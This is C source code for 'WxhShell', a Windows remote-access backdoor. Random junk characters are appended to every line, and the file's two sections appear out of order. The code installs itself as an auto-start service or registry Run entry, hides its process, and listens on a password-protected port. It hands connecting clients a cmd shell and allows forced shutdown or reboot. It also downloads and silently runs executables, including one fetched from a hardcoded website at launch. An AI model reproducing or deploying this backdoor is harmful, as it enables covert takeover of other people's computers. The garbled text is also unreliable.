  // 关机 9y(75Bn9  
  case 'd': { R&cOhUj22J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 37hs/=x  
    if(Boot(SHUTDOWN)) $r`^8/Mq3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JC~L!)f  
    else { j9@7\N<  
    closesocket(wsh); 0,a;N%K-  
    ExitThread(0); 0^41dfdE  
    } gAA2S5th  
    break; 8,Jjv*  
    } Une,Y4{u  
  // 获取shell gBzg'Z  
  case 's': { o~#cpU4{o  
    CmdShell(wsh); /STFXR1@.u  
    closesocket(wsh); b]'Uv8fbF  
    ExitThread(0); *{qW7x.6h  
    break; E880X<V)>  
  } c/Fy1Lv\  
  // 退出 l,n0=Ew  
  case 'x': { jP?YV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T5; zgr  
    CloseIt(wsh); )~ {T  
    break; 4+ BWHV  
    } R36BvW0X  
  // 离开 :}\w2W E[  
  case 'q': { >hkmL](^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~s@PP'!  
    closesocket(wsh);  -a``  
    WSACleanup(); eSNwAExm  
    exit(1); }Ut*Y*  
    break; mRe BS  
        } x;&01@m.  
  } #-xsAKi  
  } p5|.E  
+FD"8 ^YC  
  // 提示信息 :Ve>tZeW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :.863_/  
} xV&c)l>}  
  } \K$9r=!(  
sN`2"t/s  
  return; g.wp }fz  
} |JZ3aS   
v~f_~v5J!  
// shell模块句柄 aDrF" j  
int CmdShell(SOCKET sock) s}8(__|  
{ /5qeNjI+2  
STARTUPINFO si; !~+"TI}_%w  
ZeroMemory(&si,sizeof(si)); `SdvX n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aofk<O!M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f tS^|%p  
PROCESS_INFORMATION ProcessInfo; @>Y.s6a  
char cmdline[]="cmd"; &cnciEw1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pCXceNFo  
  return 0; +Bg$]~ T  
} Lnin;0~{  
i3bH^WwE&k  
// 自身启动模式 ?b?6/_W~R  
int StartFromService(void) ({XB,Rm  
{ h<)YZ[;x  
typedef struct nQe^Bn  
{ @>>8CU^~  
  DWORD ExitStatus; :@BAiKa[wa  
  DWORD PebBaseAddress; G(g`>' m  
  DWORD AffinityMask; |mx)W}  
  DWORD BasePriority; 9 7/"5i9  
  ULONG UniqueProcessId; =:)p\{B  
  ULONG InheritedFromUniqueProcessId; x$:>W3?T=^  
}   PROCESS_BASIC_INFORMATION; C`qo  
#&fi[|%X$  
PROCNTQSIP NtQueryInformationProcess; b.h:~ATgN  
J7Z`wjX1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L5(7;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RO>3U2  
sGg=4(D  
  HANDLE             hProcess; 5c(mgEvq  
  PROCESS_BASIC_INFORMATION pbi; Un [olp  
s"hSn_m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \"L ;Ct 8  
  if(NULL == hInst ) return 0; e70#"~gt[  
_ELuQ>zM]+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MIV<"A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L="ipM:Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h(M_ K  
^^q9+0@  
  if (!NtQueryInformationProcess) return 0; I-?PTr  
0\qLuF[)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R,]J~TfPK  
  if(!hProcess) return 0; x;Qs_"t];3  
I},]Y~Y3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DrAp&A|WV|  
T;7=05k<_  
  CloseHandle(hProcess); 1!(Og~#(  
gLm ]*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 u[a713O  
if(hProcess==NULL) return 0; T\ixS-%^  
XH^X4W  
HMODULE hMod; \fX0&l;T9\  
char procName[255]; K1S:P( S  
unsigned long cbNeeded; ss{y=O%9"  
#$-zg^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *d~).z)  
b-)m'B}`  
  CloseHandle(hProcess); HuVx^y` @  
p$5uS=:4`8  
if(strstr(procName,"services")) return 1; // 以服务启动 kn$2_I9  
.|$:%"O&X  
  return 0; // 注册表启动 Fe r&X  
} O4)'78ATp  
}u3Q*oAGl  
// 主模块 ; 9n}P@  
int StartWxhshell(LPSTR lpCmdLine) Th\w#%'N  
{ Ff eX;pi  
  SOCKET wsl; D8OW|wVE  
BOOL val=TRUE; 71S~*"O0f  
  int port=0; <0EVq8h  
  struct sockaddr_in door; /nPNHO>U  
xbVvK+  
  if(wscfg.ws_autoins) Install(); 8fI]QW  
nj90`O.K  
port=atoi(lpCmdLine); Z.^DJ9E<1  
[9<c;&$LU  
if(port<=0) port=wscfg.ws_port; JWh5gOXd  
+#;t.&\80N  
  WSADATA data; 0A,u!"4[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VnjhEEM!  
k},@2#W]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =c(t;u6m-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `6No6.\J  
  door.sin_family = AF_INET; 8QJ^@|7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "c9T4=]&t  
  door.sin_port = htons(port); =c-Y >  
/v<FH}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0uZL*4A+C  
closesocket(wsl); 8I>'x f  
return 1; +hIC N,8!  
} eNHSfq  
!#NGGIp;  
  if(listen(wsl,2) == INVALID_SOCKET) { . r?URC  
closesocket(wsl); e(z'u A{!  
return 1; ]QJ N` ;b0  
} ydZS^BqG  
  Wxhshell(wsl); e) \PW1b  
  WSACleanup(); T^Lg+g+I  
*GZ7S m  
return 0; &.v|yG]&  
F `4a0~?  
} oCxh[U@*D  
,J@A5/B,AA  
// 以NT服务方式启动 ?hFG+`"W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j7XUFA  
{ Il4R R  
DWORD   status = 0; %&iY5A  
  DWORD   specificError = 0xfffffff; >;sz(F3)  
HV?Q{X K.b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JK%UaEut=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .:~{+ <*`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (drDC1\  
  serviceStatus.dwWin32ExitCode     = 0; EGL7z`nt  
  serviceStatus.dwServiceSpecificExitCode = 0; zObrp  
  serviceStatus.dwCheckPoint       = 0; # 0* oj/  
  serviceStatus.dwWaitHint       = 0; JS!`eO/8  
-"CXBKHb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CMiE$yC  
  if (hServiceStatusHandle==0) return; Tlar@lC|u  
nOm-Yb+F  
status = GetLastError(); {<P{uH\l  
  if (status!=NO_ERROR) b(HbwOt ~3  
{ K ; e R)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y00hc8<  
    serviceStatus.dwCheckPoint       = 0; "y7IH GJ\3  
    serviceStatus.dwWaitHint       = 0; 4!U)a  
    serviceStatus.dwWin32ExitCode     = status; .4cV X|T  
    serviceStatus.dwServiceSpecificExitCode = specificError; C"*8bVx]$n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?*/1J~<(@  
    return; 9F "^MzZ  
  } my}l?S[2d@  
t_"]n*zk1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L; o$vI~U,  
  serviceStatus.dwCheckPoint       = 0; 1$S`>M%a  
  serviceStatus.dwWaitHint       = 0; 2v\<MrL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lD-HQd  
} sK/Z 'h{|  
Qn!KL0w  
// 处理NT服务事件,比如:启动、停止 khb/"VYd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \c\z 6;j  
{ $/FL)m8.3  
switch(fdwControl) haSC[[o=  
{ ]Vm:iF#5P  
case SERVICE_CONTROL_STOP: \%czNF  
  serviceStatus.dwWin32ExitCode = 0; Q3'L\_1L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BCI[jfd7  
  serviceStatus.dwCheckPoint   = 0; F@ld#O  
  serviceStatus.dwWaitHint     = 0; A|`mIma#  
  { >mW*K _~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e6i m_ Tk  
  } s= bP@[Gj  
  return; :\"V5  
case SERVICE_CONTROL_PAUSE: MC~<jJ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \"| 7o8  
  break; vUR@P  -  
case SERVICE_CONTROL_CONTINUE: wv.HPmq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TMG|"|  
  break; (&!x2M  
case SERVICE_CONTROL_INTERROGATE: (7A-cC  
  break; d",VOhW7)S  
}; DEQ7u`6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *%n(t+'q  
} /4YxB,  
L #`Vr$  
// 标准应用程序主函数 r!&}4lHYi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s(8e)0Tl  
{ '&!:5R59  
c2Yrg@) [  
// 获取操作系统版本 v 8B4%1NE  
OsIsNt=GetOsVer(); -+z8bZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); miB+'n"zS  
fo_*Uva_  
  // 从命令行安装 h#}'9oA  
  if(strpbrk(lpCmdLine,"iI")) Install(); !-~sxa280r  
2rWPqG4e  
  // 下载执行文件 D$fWeG{f  
if(wscfg.ws_downexe) { #By~gcN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :zQNnq:|  
  WinExec(wscfg.ws_filenam,SW_HIDE); dfMi]rs!<  
} Lk]W?  
6FFM-9*|[  
if(!OsIsNt) { ftaa~h*  
// 如果时win9x,隐藏进程并且设置为注册表启动 )?<V-,D  
HideProc(); FyWrb+_0v  
StartWxhshell(lpCmdLine); 9P&{Xhs7  
} .W51Cup@&  
else ;$g?W"  
  if(StartFromService()) 7_~_$I~g*  
  // 以服务方式启动  x-s\0l  
  StartServiceCtrlDispatcher(DispatchTable); 'Gqo{wl  
else >Q2kXwN  
  // 普通方式启动 34I;DUdcE  
  StartWxhshell(lpCmdLine); g v7@4G  
3a0% J'  
return 0; K6 c[W%Va  
} ddwokXx (  
o]aMhSol  
jGEmf<q&u  
|F49<7XB[~  
=========================================== fS]Z`U"  
/kV5~i<1S  
M:t"is  
er.;qV'Wz6  
,!QtViA7  
Huc|HL#C  
" Vx%!j&  
I_is3y0  
#include <stdio.h> q"u,r6ED  
#include <string.h> 7`SrqI&  
#include <windows.h> qHu\3@px  
#include <winsock2.h> g4Nl"s*~  
#include <winsvc.h> fF^A9{{BS  
#include <urlmon.h> ;{1  ws  
:KI0j%>2y  
#pragma comment (lib, "Ws2_32.lib") h$#|s/  
#pragma comment (lib, "urlmon.lib") (s,u9vj=>L  
vRLWs`1j  
#define MAX_USER   100 // 最大客户端连接数 5s:g(gy3BR  
#define BUF_SOCK   200 // sock buffer -Yg?@yt  
#define KEY_BUFF   255 // 输入 buffer =kb/4eRg  
BFQ`Ab+  
#define REBOOT     0   // 重启 =%d.wH?dZ/  
#define SHUTDOWN   1   // 关机 9>/:c\q+  
'H(khS  
#define DEF_PORT   5000 // 监听端口 Vo%DoZg  
5P[urOvV  
#define REG_LEN     16   // 注册表键长度 $pajE^d4V  
#define SVC_LEN     80   // NT服务名长度 H^XTzE  
xiO10:L4  
// 从dll定义API N~%~Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +8.1cDEH\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~iJ@x;`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #:=*n(GT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ok{ F=z  
?~X^YxWsY  
// wxhshell配置信息 s1J( -O  
struct WSCFG { GHFYIor  
  int ws_port;         // 监听端口 z}-8pDD'  
  char ws_passstr[REG_LEN]; // 口令 p/gf  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0Vj!'=Ntv  
  char ws_regname[REG_LEN]; // 注册表键名 p:xVi0  
  char ws_svcname[REG_LEN]; // 服务名 w|:ev_c|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #kp +e)F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o`.5NUn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %$F_oO7"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bp/25jy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  #zg"E<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (H-kWT  
BOme`0A  
}; 3-gy)5.x e  
SHQgI<D7  
// default Wxhshell configuration z q@"qnr  
struct WSCFG wscfg={DEF_PORT, 9`Xr7gmQf  
    "xuhuanlingzhe", DI=?{A  
    1, .50ql[En  
    "Wxhshell", W];l[D<S*  
    "Wxhshell", YXIAVSnr  
            "WxhShell Service", -o+; e3#  
    "Wrsky Windows CmdShell Service", AS a)xf9  
    "Please Input Your Password: ", [#2X  
  1, Z`>m   
  "http://www.wrsky.com/wxhshell.exe", @DK`#,  
  "Wxhshell.exe" `%$+rbo~  
    }; sV`p3L8pl  
zd3^k<  
// 消息定义模块 ~N8$abQJV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m{by%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YXDuhrs}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ycrM8Mu 3  
char *msg_ws_ext="\n\rExit."; MI>_wG5P@  
char *msg_ws_end="\n\rQuit."; Hx NoV.q  
char *msg_ws_boot="\n\rReboot..."; !Aw.)<teW  
char *msg_ws_poff="\n\rShutdown..."; R T/)<RT9  
char *msg_ws_down="\n\rSave to "; SA{5A 1  
ddw^oU  
char *msg_ws_err="\n\rErr!"; !BN@cc[%  
char *msg_ws_ok="\n\rOK!"; J#?z/3v(  
j`%a2  
char ExeFile[MAX_PATH]; |b+CXEzo  
int nUser = 0; QW2SFpE  
HANDLE handles[MAX_USER]; %VS+?4ww  
int OsIsNt; KVPWJHGr  
4E@_Fn_#  
SERVICE_STATUS       serviceStatus; VVk8z6 W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MGsY3~!K  
S&NWZ:E3[  
// 函数声明 la>H&  
int Install(void); 9 OZXs2~x  
int Uninstall(void); Rg 5kFeS  
int DownloadFile(char *sURL, SOCKET wsh); %jxeh.B3B  
int Boot(int flag); 5RR4jX]  
void HideProc(void); ageTv/  
int GetOsVer(void); r tH #j  
int Wxhshell(SOCKET wsl); g])iU9)8  
void TalkWithClient(void *cs); ,OBJ>_5  
int CmdShell(SOCKET sock); .DHQJ|J-1  
int StartFromService(void); cg^=F_h  
int StartWxhshell(LPSTR lpCmdLine); 3+H[S#e:Z  
z,(.` %h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n"f: 6|<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j>#ywh*A  
9S8V`aC  
// 数据结构和表定义 vAfYONU  
SERVICE_TABLE_ENTRY DispatchTable[] = nTr{ D&JS  
{ ;8yEhar  
{wscfg.ws_svcname, NTServiceMain}, FMz>p1s|dK  
{NULL, NULL} 'EG/)0t`  
}; #1Ie v7w  
Gq{);fq  
// 自我安装 r\$`e7d}!  
int Install(void) 0 D&-BAzi  
{ ~r&+18Z;  
  char svExeFile[MAX_PATH]; 7-d.eNQl  
  HKEY key; H.&"~eH  
  strcpy(svExeFile,ExeFile); 6)_h'v<|M  
NB3ar&.$S  
// 如果是win9x系统,修改注册表设为自启动 W('V2Z-q  
if(!OsIsNt) { &p5^Cjy L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w6|l ~.$=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jn"ya^~  
  RegCloseKey(key); ^IO\J{U{"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EC7)M}H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kn}bb*eZ  
  RegCloseKey(key); D(#6H~QN%  
  return 0; VUzRA"DP|  
    } \2M{R  
  } N$M:&m3^  
} /]9(InM9/  
else { rtz  ]PH  
8@7leAq!  
// 如果是NT以上系统,安装为系统服务 t]8nRZ1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,ygDNF  
if (schSCManager!=0) a2B9 .;F  
{ ];\XA;aOl}  
  SC_HANDLE schService = CreateService =" pNE#  
  ( .GIygU_  
  schSCManager, co{i~['u  
  wscfg.ws_svcname, `IJTO_  
  wscfg.ws_svcdisp, =,Z5F`d4  
  SERVICE_ALL_ACCESS, H Em XB=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ys8D|HIk  
  SERVICE_AUTO_START, uLrZl0%HT~  
  SERVICE_ERROR_NORMAL, >9t+lr1   
  svExeFile, a"phwCc"%  
  NULL, 0](V@F"~  
  NULL, JdX!#\O  
  NULL, t!o=-k  
  NULL, K9) |b`E=  
  NULL .7> g8  
  ); bZu2.?{  
  if (schService!=0) tkW7wP;  
  { 9 !s)52qt  
  CloseServiceHandle(schService); |l:,EA_v|  
  CloseServiceHandle(schSCManager); fHXz{,?/w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U _~r0  
  strcat(svExeFile,wscfg.ws_svcname); 8}?w %FsN#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !&pk^VFl+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  jRhRw;  
  RegCloseKey(key); "89L^I  
  return 0; ESnir6HoU  
    } >w#&fd  
  } 69N8COLB  
  CloseServiceHandle(schSCManager); >Y;[+#H[  
} ~z7Fz"o<  
} B !Z~jT  
<%S[6*6U  
return 1; o^Qy71Uj  
} '25zb+ -  
<=@6UPsn2  
// 自我卸载 Xw&vi\*m  
int Uninstall(void) CIAKXYM  
{ $>hH{  
  HKEY key; ORFi0gFbA  
mX G W+  
if(!OsIsNt) { :b<<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6o~g3{Ow  
  RegDeleteValue(key,wscfg.ws_regname); 6k;>:[p  
  RegCloseKey(key); '%*/iH6<U{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }U qL2KXi4  
  RegDeleteValue(key,wscfg.ws_regname); 2C#b-Y 1~N  
  RegCloseKey(key); Su*Pd;  
  return 0; G4G<Ow)`  
  } L6J.^tpO  
} 9eEA80i7  
} 2D4c|R@+  
else { O ;m[  
RM#.-gW   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +Oc |Oo  
if (schSCManager!=0) xOKf|  
{ Xvxj-\ -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `$yi18F  
  if (schService!=0) GSVLZF'+  
  { pPJE.[)V/  
  if(DeleteService(schService)!=0) { a<P?4tbF  
  CloseServiceHandle(schService); RU\MT'E>(  
  CloseServiceHandle(schSCManager); ? J6\?ct4  
  return 0; Qk].^'\  
  } rDC=rG  
  CloseServiceHandle(schService); >g2Z t;*@w  
  } Q'0:k{G  
  CloseServiceHandle(schSCManager); LNM#\fb  
} +d=8/3O%  
} Y 9@ 2d  
;2'/rEq4o  
return 1; Os1=V  
} %QQJSake|  
Z%QU5.  
// 从指定url下载文件 T.q7~ba*  
int DownloadFile(char *sURL, SOCKET wsh) E|x t\ *  
{ )No>Q :t  
  HRESULT hr; 7|X.E  
char seps[]= "/"; x, #?  
char *token; -S 0dr8E  
char *file; z W*Z  
char myURL[MAX_PATH]; ,b74 m  
char myFILE[MAX_PATH]; (4C_Ft*~j  
,9~qLQ0O  
strcpy(myURL,sURL); 8!qzG4F/  
  token=strtok(myURL,seps); PF0AU T  
  while(token!=NULL) |yi#6!}^  
  { W&e}*  
    file=token; dQ_yb+<  
  token=strtok(NULL,seps); <+AvbqDe  
  } 3j/~XT  
7$7#z\VWu  
GetCurrentDirectory(MAX_PATH,myFILE); 2 xt$w%  
strcat(myFILE, "\\"); 4td9=dNA+l  
strcat(myFILE, file); ~U1M -<IX  
  send(wsh,myFILE,strlen(myFILE),0); i(0%cNP7  
send(wsh,"...",3,0); 7a4h7/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sg4TX?I   
  if(hr==S_OK) 8-FW'bA  
return 0; Vs, &  
else Ev,b5KelD  
return 1; isor%R!  
+}Qq#^:_\  
} . r \g]  
C@rIyBj1g  
// 系统电源模块 ;bkvdn}  
int Boot(int flag) FTcXjWBPF9  
{ htOVt\+!34  
  HANDLE hToken; k<k@Tlo  
  TOKEN_PRIVILEGES tkp; =S|dzgS/  
l *+9R  
  if(OsIsNt) { }/aqh;W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~) vz`bD1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7t|011<  
    tkp.PrivilegeCount = 1; sEcg;LFp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !^qpV7./l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lnt}l  
if(flag==REBOOT) { hGj`IAW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z;PF% F  
  return 0; T;{"lp.  
} ;f9a0Vs  
else { )\QPUdOvx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5k`Df/  
  return 0; [*d<LAnuWP  
} P5oYv  
  } #NQx(C  
  else { -~&T0dt~  
if(flag==REBOOT) { KdLj1T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UI74RP  
  return 0; -H"^;37T"  
} ^2"3h$DJfS  
else { "]x#kM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f<*-;  
  return 0; '?qI_LP?  
} i`7:^v;  
} UUqA^yJ  
0;2ApYks  
return 1; Ex4)R2c*  
} a5uBQ?  
]w~ECP(ap  
// win9x进程隐藏模块 [}Y_O*C !  
void HideProc(void) 1NQU96  
{ eRB K= X  
xs$.EY:k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X?n($z/ {  
  if ( hKernel != NULL ) pu Z0_1uN  
  { :zsMkdU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `f\+aD'u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M6"a w6  
    FreeLibrary(hKernel); {{ +8oRzY  
  } #EIcP=1m4  
fU ^5Dl  
return; zI.:1(,  
} =iE)vY,?"}  
Gw?ueui<  
// 获取操作系统版本 -[ xbGSj{  
int GetOsVer(void) /gq\.+'{  
{ </23*n]  
  OSVERSIONINFO winfo; yIqRSqM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yI.hN  
  GetVersionEx(&winfo); GLa_[9 "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KKM!($A  
  return 1; R|R3Ob.e  
  else {h~<!sEX  
  return 0; Y&1Yc)*O  
} *a@78&N  
Gu# wH  
// 客户端句柄模块  @zSj&4  
int Wxhshell(SOCKET wsl) (?kCo  
{ !c=EB`<*  
  SOCKET wsh; SI:Iv:>  
  struct sockaddr_in client; x)-n[Fu  
  DWORD myID; 8QN/D\uq  
i?|b:lcV  
  while(nUser<MAX_USER) G'WbXX  
{ m";?B1%x  
  int nSize=sizeof(client); 'Jl3%axR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hpz DQ6-Y  
  if(wsh==INVALID_SOCKET) return 1; JJu}Ed_  
Vl0Y'@{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e)A{ {wD/  
if(handles[nUser]==0) s5u  
  closesocket(wsh); Jb]22]  
else *KDwl<^A  
  nUser++; ]vq=~x  
  } '2v$xOh!y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;-!O+c  
-ei+r#  
  return 0; [<IJ{yfx  
} -59;Zn/  
;  8u5  
// 关闭 socket uAv'%/  
void CloseIt(SOCKET wsh) l8RKwECdPn  
{ I0(nRu<  
closesocket(wsh); VpWpC&  
nUser--; V;1i/{  
ExitThread(0); Cp^%;(@  
} iK9#{1BpML  
y+P$}Nru  
// 客户端请求句柄 +3o 4KB}  
void TalkWithClient(void *cs) !l~3K(&4  
{ i 2n66d  
`bcCj~j  
  SOCKET wsh=(SOCKET)cs; 'T*h0xX  
  char pwd[SVC_LEN]; ~0Xx]  
  char cmd[KEY_BUFF]; zmh5x{US1  
char chr[1]; <x\I*%(  
int i,j; ?CZ*MMV  
KhPDkD-  
  while (nUser < MAX_USER) { QS2~}{v  
]hlYmT  
if(wscfg.ws_passstr) { }R)A%FKi@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0j2M< W#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YveNsn  
  //ZeroMemory(pwd,KEY_BUFF); 'cvc\=p  
      i=0; 6|ENDd[  
  while(i<SVC_LEN) { l&6+ykQ  
=pn(56  
  // 设置超时 }d16xp  
  fd_set FdRead; 0A.9<&Lod  
  struct timeval TimeOut; o3>D~9  
  FD_ZERO(&FdRead); >@L^^ -r  
  FD_SET(wsh,&FdRead); %y R~dt'  
  TimeOut.tv_sec=8; ^li(q]g1!  
  TimeOut.tv_usec=0; ~:):.5o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &-4SA j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =\)qUs\z  
h"ko4b3^'@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # {|F2AM  
  pwd=chr[0]; c4xXsUBQk  
  if(chr[0]==0xd || chr[0]==0xa) { A.(xa+z?  
  pwd=0; r_e]sOCb  
  break; IC@-`S#F  
  } Z*lZl8(`  
  i++; 2[yfo8H  
    } H&=3rkX  
h!~u^Z.7<  
  // 如果是非法用户,关闭 socket & *!) d"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5=9gH  
} iM{UB=C  
~OOD#/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v#Y9O6g]T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r`!S*zK  
,P$Crs[  
while(1) { lr&O@ 5"oy  
`~{ 0  
  ZeroMemory(cmd,KEY_BUFF); =@ "'aCU/  
@-5V~itW  
      // 自动支持客户端 telnet标准   0vi\o`**Mj  
  j=0; _3 3YgO  
  while(j<KEY_BUFF) { _chX {_Hu-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i`HXBq!|w  
  cmd[j]=chr[0]; .GNl31f0  
  if(chr[0]==0xa || chr[0]==0xd) { pPt w(5bH  
  cmd[j]=0; +*P;Vb6D  
  break; yB,{:kq7D  
  } :gacP?  
  j++; /2AeJH\-  
    } D-4\AzIb  
Vh;P,no#  
  // 下载文件 ">NPp\t>/Z  
  if(strstr(cmd,"http://")) { + hKH\]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l?swW+ x\  
  if(DownloadFile(cmd,wsh)) O5?3 nYHa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:w&eFC6  
  else PR*qyELu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zwpgf  
  } )6,Pmq~)  
